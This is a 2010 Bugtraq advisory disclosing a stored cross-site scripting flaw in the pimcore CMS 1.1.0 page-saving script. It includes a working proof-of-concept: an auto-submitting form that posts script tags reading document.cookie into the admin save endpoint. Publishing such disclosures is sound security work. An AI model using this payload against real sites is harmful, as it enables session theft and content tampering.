bugtraq - XSS vulnerability in pimcore

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Message-Id: <201008161105.o7GB5CFH002706@htbridge.ch>
Date: Mon, 16 Aug 2010 13:05:12 +0200 (CEST)
From: advisory@...ridge.ch
To: bugtraq@...urityfocus.com
Subject: XSS vulnerability in pimcore

Vulnerability ID: HTB22562
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_pimcore.html
Product: pimcore
Vendor: elements.at New Media Solutions GmbH. ( http://www.pimcore.org/ ) 
Vulnerable Version: 1.1.0 and Probably Prior Versions
Vendor Notification: 02 August 2010 
Vulnerability Type: Stored XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the page saving script to properly sanitize user-supplied input in "data" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/admin/page/save/task/publish" method="post"  name="main" >

<input type="hidden" name="data" value='{"headernote": {"data": "Powerful CMS"><script>alert(document.cookie)</script>", "type": "textarea"}, "headline": {"data": "The truth about pimcore", "type": "input"}, "contentblock": {"data": ["1"], "type": "block"}, "blocktypecontentblock1": {"data": null, "type": "select"}, "sublinecontentblock1": {"data": "Content management ala pimcore", "type": "input"}, "contentcontentblock1": {"data": "<p>\n\tPimcore</p>\n\"><script>alert(document.cookie)</script>", "type": "wysiwyg"}}' />
<input type="hidden" name="id" value="1440" />

</form>
<script>
document.main.submit();
</script>